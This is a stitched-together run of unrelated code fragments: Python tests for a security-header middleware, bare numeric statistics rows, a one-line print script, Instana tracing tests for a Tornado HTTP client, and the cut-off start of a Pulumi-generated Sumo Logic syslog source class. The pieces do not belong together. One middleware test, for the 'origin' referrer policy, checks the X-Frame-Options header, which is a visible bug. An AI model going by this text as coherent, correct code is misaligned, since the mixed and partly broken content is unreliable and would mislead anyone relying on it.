response = client.get("/async-message")
assert response.status_code == 200
assert "includeSubDomains" not in response.headers["strict-transport-security"]
def test_strict_transport_security_preload_default(app):
app.add_middleware(SageMiddleware)
client = TestClient(app)
response = client.get("/sync-message")
assert "preload" not in response.headers["strict-transport-security"]
response = client.get("/async-message")
assert response.status_code == 200
assert "preload" not in response.headers["strict-transport-security"]
def test_strict_transport_security_preload_true(app):
app.add_middleware(SageMiddleware, strict_transport_security_preload=True)
client = TestClient(app)
response = client.get("/sync-message")
assert "preload" in response.headers["strict-transport-security"]
response = client.get("/async-message")
assert response.status_code == 200
assert "preload" in response.headers["strict-transport-security"]
def test_referrer_policy_default(app):
app.add_middleware(SageMiddleware)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["Referrer-Policy"] == "strict-origin-when-cross-origin"
response = client.get("/async-message")
assert response.status_code == 200
assert response.headers["Referrer-Policy"] == "strict-origin-when-cross-origin"
def test_referrer_policy_origin(app):
app.add_middleware(SageMiddleware, referrer_policy="origin")
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
response = client.get("/async-message")
assert response.status_code == 200
assert response.headers["X-Frame-Options"] == "SAMEORIGIN"
def test_referrer_policy_none(app):
app.add_middleware(SageMiddleware, referrer_policy=None)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "Referrer-Policy" not in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "Referrer-Policy" not in response.headers
def test_force_https_true(app):
app.add_middleware(SageMiddleware, force_https=True)
client = TestClient(app, base_url="http://testserver")
response = client.get("/sync-message", allow_redirects=False)
assert response.status_code == 302
assert response.headers["location"] == "https://testserver/sync-message"
client = TestClient(app, base_url="https://testserver")
response = client.get("/sync-message", allow_redirects=False)
assert response.status_code == 200
client = TestClient(app, base_url="http://testserver")
response = client.get("/async-message", allow_redirects=False)
assert response.status_code == 302
assert response.headers["location"] == "https://testserver/async-message"
client = TestClient(app, base_url="https://testserver")
response = client.get("/async-message", allow_redirects=False)
assert response.status_code == 200
def test_force_https_false(app):
app.add_middleware(SageMiddleware, force_https=False)
client = TestClient(app, base_url="http://testserver")
response = client.get("/sync-message", allow_redirects=False)
assert response.status_code == 200
client = TestClient(app, base_url="https://testserver")
response = client.get("/async-message", allow_redirects=False)
assert response.status_code == 200
def test_force_https_permanent(app):
app.add_middleware(SageMiddleware, force_https=True, force_https_permanent=True)
client = TestClient(app, base_url="http://testserver")
response = client.get("/sync-message", allow_redirects=False)
assert response.status_code == 301
assert response.headers["location"] == "https://testserver/sync-message"
client = TestClient(app, base_url="https://testserver")
response = client.get("/sync-message", allow_redirects=False)
assert response.status_code == 200
client = TestClient(app, base_url="http://testserver")
response = client.get("/async-message", allow_redirects=False)
assert response.status_code == 301
assert response.headers["location"] == "https://testserver/async-message"
client = TestClient(app, base_url="https://testserver")
response = client.get("/async-message", allow_redirects=False)
assert response.status_code == 200
def test_feature_policy_empty(app):
app.add_middleware(SageMiddleware, feature_policy={})
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "feature-policy" not in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "feature-policy" not in response.headers
def test_feature_policy_values(app):
app.add_middleware(
SageMiddleware, feature_policy={"geolocation": "*", "usb": "'self'"}
)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "feature-policy" in response.headers
assert "geolocation *" in response.headers["feature-policy"]
assert "usb 'self'" in response.headers["feature-policy"]
response = client.get("/async-message")
assert response.status_code == 200
assert "feature-policy" in response.headers
assert "geolocation *" in response.headers["feature-policy"]
assert "usb 'self'" in response.headers["feature-policy"]
def test_content_security_policy_empty(app):
app.add_middleware(SageMiddleware, content_security_policy={})
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "content-security-policy" not in response.headers
response = client.get("/async-message")
assert response.status_code == 200
assert "content-security-policy" not in response.headers
def test_content_security_policy_values(app):
app.add_middleware(
SageMiddleware,
content_security_policy={
"default-src": "*",
"media-src": ["media1.com", "media2.com"],
},
)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "content-security-policy" in response.headers
assert "default-src *" in response.headers["content-security-policy"]
assert (
"media-src media1.com media2.com" in response.headers["content-security-policy"]
)
response = client.get("/async-message")
assert response.status_code == 200
assert "content-security-policy" in response.headers
assert "default-src *" in response.headers["content-security-policy"]
assert (
"media-src media1.com media2.com" in response.headers["content-security-policy"]
)
def test_session_cookie_secure_true(app):
app.add_middleware(SageMiddleware, session_cookie_secure=True)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert all([v.secure for v in response.cookies]) is True
def test_session_cookie_secure_false(app):
app.add_middleware(SageMiddleware, session_cookie_secure=False)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert all([v.secure for v in response.cookies]) is False
def test_session_cookie_http_only_true(app):
app.add_middleware(SageMiddleware, session_cookie_http_only=True)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert all([v.has_nonstandard_attr("httponly") for v in response.cookies]) is True
def test_session_cookie_http_only_false(app):
app.add_middleware(SageMiddleware, session_cookie_http_only=False)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert all([v.has_nonstandard_attr("httponly") for v in response.cookies]) is False
def test_content_type_nosniff_true(app):
app.add_middleware(SageMiddleware, content_type_nosniff=True)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert response.headers["X-Content-Type-Options"] == "nosniff"
def test_content_type_nosniff_false(app):
app.add_middleware(SageMiddleware, content_type_nosniff=False)
client = TestClient(app)
response = client.get("/sync-message")
assert response.status_code == 200
assert "X-Content-Type-Options" not in response.headers
| 37.289256
| 88
| 0.726803
| 1,645
| 13,536
| 5.818237
| 0.066869
| 0.090691
| 0.095915
| 0.117856
| 0.948386
| 0.928325
| 0.919026
| 0.873367
| 0.807753
| 0.777871
| 0
| 0.015899
| 0.154329
| 13,536
| 362
| 89
| 37.392265
| 0.820215
| 0
| 0
| 0.719298
| 0
| 0
| 0.187722
| 0.050975
| 0
| 0
| 0
| 0
| 0.361404
| 1
| 0.105263
| false
| 0
| 0.017544
| 0
| 0.133333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
80d6ab0bbe1b828d6626b235f6429cefab3ba163
| 37
|
py
|
Python
|
cursoemvideo/cores.py
|
LuanPetruitis/minis_programas_python
|
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
|
[
"MIT"
] | 1
|
2020-04-09T14:41:48.000Z
|
2020-04-09T14:41:48.000Z
|
cursoemvideo/cores.py
|
LuanPetruitis/minis_programas_python
|
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
|
[
"MIT"
] | 1
|
2020-04-10T20:39:24.000Z
|
2020-04-12T13:43:51.000Z
|
cursoemvideo/cores.py
|
LuanPetruitis/minis_programas_python
|
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
|
[
"MIT"
] | 1
|
2020-04-13T03:21:09.000Z
|
2020-04-13T03:21:09.000Z
|
print('\033[4;37;40mOlรก Mundo\033[m')
| 37
| 37
| 0.702703
| 8
| 37
| 3.25
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.305556
| 0.027027
| 37
| 1
| 37
| 37
| 0.416667
| 0
| 0
| 0
| 0
| 0
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
80df0cefdd0c79b66e1d519ac202ae448a14a952
| 19,438
|
py
|
Python
|
tests/frameworks/test_tornado_client.py
|
tirkarthi/python-sensor
|
9872d146ac00baff2673fde5ba97fdbe596869a4
|
[
"MIT"
] | 61
|
2017-09-27T02:50:17.000Z
|
2022-03-22T12:13:37.000Z
|
tests/frameworks/test_tornado_client.py
|
tirkarthi/python-sensor
|
9872d146ac00baff2673fde5ba97fdbe596869a4
|
[
"MIT"
] | 82
|
2017-07-11T13:47:33.000Z
|
2022-03-22T10:10:38.000Z
|
tests/frameworks/test_tornado_client.py
|
takeaway/python-sensor
|
52d6eaa2d6a8e625201bad36ac2448201c4bd63d
|
[
"MIT"
] | 27
|
2017-09-11T16:22:32.000Z
|
2022-03-11T17:21:49.000Z
|
# (c) Copyright IBM Corp. 2021
# (c) Copyright Instana Inc. 2020
from __future__ import absolute_import
import time
import asyncio
import unittest
import tornado
from tornado.httpclient import AsyncHTTPClient
from instana.singletons import tornado_tracer
import tests.apps.tornado_server
from ..helpers import testenv
from nose.plugins.skip import SkipTest
raise SkipTest("Non deterministic tests TBR")
class TestTornadoClient(unittest.TestCase):
def setUp(self):
""" Clear all spans before a test run """
self.recorder = tornado_tracer.recorder
self.recorder.clear_spans()
# New event loop for every test
# self.loop = tornado.ioloop.IOLoop.current()
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self.http_client = AsyncHTTPClient()
def tearDown(self):
self.http_client.close()
def test_get(self):
async def test():
with tornado_tracer.start_active_span('test'):
return await self.http_client.fetch(testenv["tornado_server"] + "/")
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertIsNone(client_span.ec)
self.assertIsNone(server_span.ec)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(200, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(200, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_post(self):
async def test():
with tornado_tracer.start_active_span('test'):
return await self.http_client.fetch(testenv["tornado_server"] + "/", method="POST", body='asdf')
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertIsNone(client_span.ec)
self.assertIsNone(server_span.ec)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(200, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("POST", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(200, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"])
self.assertEqual("POST", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_get_301(self):
async def test():
with tornado_tracer.start_active_span('test'):
return await self.http_client.fetch(testenv["tornado_server"] + "/301")
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(4, len(spans))
server301_span = spans[0]
server_span = spans[1]
client_span = spans[2]
test_span = spans[3]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server301_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(server301_span.p, client_span.s)
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertIsNone(client_span.ec)
self.assertIsNone(server_span.ec)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(200, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-server", server301_span.n)
self.assertEqual(301, server301_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/301", server301_span.data["http"]["url"])
self.assertIsNone(server301_span.data["http"]["params"])
self.assertEqual("GET", server301_span.data["http"]["method"])
self.assertIsNotNone(server301_span.stack)
self.assertTrue(type(server301_span.stack) is list)
self.assertTrue(len(server301_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(200, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/301", client_span.data["http"]["url"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_get_405(self):
async def test():
with tornado_tracer.start_active_span('test'):
try:
return await self.http_client.fetch(testenv["tornado_server"] + "/405")
except tornado.httpclient.HTTPClientError as e:
return e.response
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertEqual(client_span.ec, 1)
self.assertIsNone(server_span.ec)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(405, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/405", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(405, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/405", client_span.data["http"]["url"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_get_500(self):
async def test():
with tornado_tracer.start_active_span('test'):
try:
return await self.http_client.fetch(testenv["tornado_server"] + "/500")
except tornado.httpclient.HTTPClientError as e:
return e.response
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertEqual(client_span.ec, 1)
self.assertEqual(server_span.ec, 1)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(500, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/500", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(500, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/500", client_span.data["http"]["url"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_get_504(self):
async def test():
with tornado_tracer.start_active_span('test'):
try:
return await self.http_client.fetch(testenv["tornado_server"] + "/504")
except tornado.httpclient.HTTPClientError as e:
return e.response
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertEqual(client_span.ec, 1)
self.assertEqual(server_span.ec, 1)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(504, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/504", server_span.data["http"]["url"])
self.assertIsNone(server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(504, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/504", client_span.data["http"]["url"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
def test_get_with_params_to_scrub(self):
async def test():
with tornado_tracer.start_active_span('test'):
return await self.http_client.fetch(testenv["tornado_server"] + "/?secret=yeah")
response = tornado.ioloop.IOLoop.current().run_sync(test)
assert isinstance(response, tornado.httpclient.HTTPResponse)
time.sleep(0.5)
spans = self.recorder.queued_spans()
self.assertEqual(3, len(spans))
server_span = spans[0]
client_span = spans[1]
test_span = spans[2]
self.assertIsNone(tornado_tracer.active_span)
# Same traceId
traceId = test_span.t
self.assertEqual(traceId, client_span.t)
self.assertEqual(traceId, server_span.t)
# Parent relationships
self.assertEqual(client_span.p, test_span.s)
self.assertEqual(server_span.p, client_span.s)
# Error logging
self.assertIsNone(test_span.ec)
self.assertIsNone(client_span.ec)
self.assertIsNone(server_span.ec)
self.assertEqual("tornado-server", server_span.n)
self.assertEqual(200, server_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"])
self.assertEqual('secret=<redacted>', server_span.data["http"]["params"])
self.assertEqual("GET", server_span.data["http"]["method"])
self.assertIsNotNone(server_span.stack)
self.assertTrue(type(server_span.stack) is list)
self.assertTrue(len(server_span.stack) > 1)
self.assertEqual("tornado-client", client_span.n)
self.assertEqual(200, client_span.data["http"]["status"])
self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"])
self.assertEqual('secret=<redacted>', client_span.data["http"]["params"])
self.assertEqual("GET", client_span.data["http"]["method"])
self.assertIsNotNone(client_span.stack)
self.assertTrue(type(client_span.stack) is list)
self.assertTrue(len(client_span.stack) > 1)
assert("X-INSTANA-T" in response.headers)
self.assertEqual(response.headers["X-INSTANA-T"], traceId)
assert("X-INSTANA-S" in response.headers)
self.assertEqual(response.headers["X-INSTANA-S"], server_span.s)
assert("X-INSTANA-L" in response.headers)
self.assertEqual(response.headers["X-INSTANA-L"], '1')
assert("Server-Timing" in response.headers)
self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)
| 41.802151
| 112
| 0.655777
| 2,349
| 19,438
| 5.288633
| 0.056194
| 0.159382
| 0.052161
| 0.04057
| 0.927634
| 0.920551
| 0.915077
| 0.908154
| 0.905015
| 0.905015
| 0
| 0.013266
| 0.208869
| 19,438
| 464
| 113
| 41.892241
| 0.794577
| 0.026031
| 0
| 0.810888
| 0
| 0
| 0.104174
| 0
| 0
| 0
| 0
| 0
| 0.69341
| 1
| 0.025788
| false
| 0
| 0.028653
| 0
| 0.08596
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
03c63b430a505c06feca30d96c9ba7b392b580b2
| 33,669
|
py
|
Python
|
sdk/python/pulumi_sumologic/cloud_syslog_source.py
|
pulumi/pulumi-sumologic
|
962fa056ee4b96e61a200e7bf2308bfad723c3af
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2021-10-13T03:50:41.000Z
|
2021-10-13T03:50:41.000Z
|
sdk/python/pulumi_sumologic/cloud_syslog_source.py
|
pulumi/pulumi-sumologic
|
962fa056ee4b96e61a200e7bf2308bfad723c3af
|
[
"ECL-2.0",
"Apache-2.0"
] | 28
|
2021-05-21T11:00:45.000Z
|
2022-03-31T15:47:13.000Z
|
sdk/python/pulumi_sumologic/cloud_syslog_source.py
|
pulumi/pulumi-sumologic
|
962fa056ee4b96e61a200e7bf2308bfad723c3af
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
from . import outputs
from ._inputs import *
__all__ = ['CloudSyslogSourceArgs', 'CloudSyslogSource']
@pulumi.input_type
class CloudSyslogSourceArgs:
def __init__(__self__, *,
collector_id: pulumi.Input[int],
automatic_date_parsing: Optional[pulumi.Input[bool]] = None,
category: Optional[pulumi.Input[str]] = None,
content_type: Optional[pulumi.Input[str]] = None,
cutoff_relative_time: Optional[pulumi.Input[str]] = None,
cutoff_timestamp: Optional[pulumi.Input[int]] = None,
default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]] = None,
description: Optional[pulumi.Input[str]] = None,
fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
filters: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]] = None,
force_timezone: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
manual_prefix_regexp: Optional[pulumi.Input[str]] = None,
multiline_processing_enabled: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
timezone: Optional[pulumi.Input[str]] = None,
use_autoline_matching: Optional[pulumi.Input[bool]] = None):
"""
The set of arguments for constructing a CloudSyslogSource resource.
"""
pulumi.set(__self__, "collector_id", collector_id)
if automatic_date_parsing is not None:
pulumi.set(__self__, "automatic_date_parsing", automatic_date_parsing)
if category is not None:
pulumi.set(__self__, "category", category)
if content_type is not None:
pulumi.set(__self__, "content_type", content_type)
if cutoff_relative_time is not None:
pulumi.set(__self__, "cutoff_relative_time", cutoff_relative_time)
if cutoff_timestamp is not None:
pulumi.set(__self__, "cutoff_timestamp", cutoff_timestamp)
if default_date_formats is not None:
pulumi.set(__self__, "default_date_formats", default_date_formats)
if description is not None:
pulumi.set(__self__, "description", description)
if fields is not None:
pulumi.set(__self__, "fields", fields)
if filters is not None:
pulumi.set(__self__, "filters", filters)
if force_timezone is not None:
pulumi.set(__self__, "force_timezone", force_timezone)
if host_name is not None:
pulumi.set(__self__, "host_name", host_name)
if manual_prefix_regexp is not None:
pulumi.set(__self__, "manual_prefix_regexp", manual_prefix_regexp)
if multiline_processing_enabled is not None:
pulumi.set(__self__, "multiline_processing_enabled", multiline_processing_enabled)
if name is not None:
pulumi.set(__self__, "name", name)
if timezone is not None:
pulumi.set(__self__, "timezone", timezone)
if use_autoline_matching is not None:
pulumi.set(__self__, "use_autoline_matching", use_autoline_matching)
@property
@pulumi.getter(name="collectorId")
def collector_id(self) -> pulumi.Input[int]:
return pulumi.get(self, "collector_id")
@collector_id.setter
def collector_id(self, value: pulumi.Input[int]):
pulumi.set(self, "collector_id", value)
@property
@pulumi.getter(name="automaticDateParsing")
def automatic_date_parsing(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "automatic_date_parsing")
@automatic_date_parsing.setter
def automatic_date_parsing(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "automatic_date_parsing", value)
@property
@pulumi.getter
def category(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "category")
@category.setter
def category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "category", value)
@property
@pulumi.getter(name="contentType")
def content_type(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "content_type")
@content_type.setter
def content_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "content_type", value)
@property
@pulumi.getter(name="cutoffRelativeTime")
def cutoff_relative_time(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "cutoff_relative_time")
@cutoff_relative_time.setter
def cutoff_relative_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cutoff_relative_time", value)
@property
@pulumi.getter(name="cutoffTimestamp")
def cutoff_timestamp(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cutoff_timestamp")
@cutoff_timestamp.setter
def cutoff_timestamp(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cutoff_timestamp", value)
@property
@pulumi.getter(name="defaultDateFormats")
def default_date_formats(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]:
return pulumi.get(self, "default_date_formats")
@default_date_formats.setter
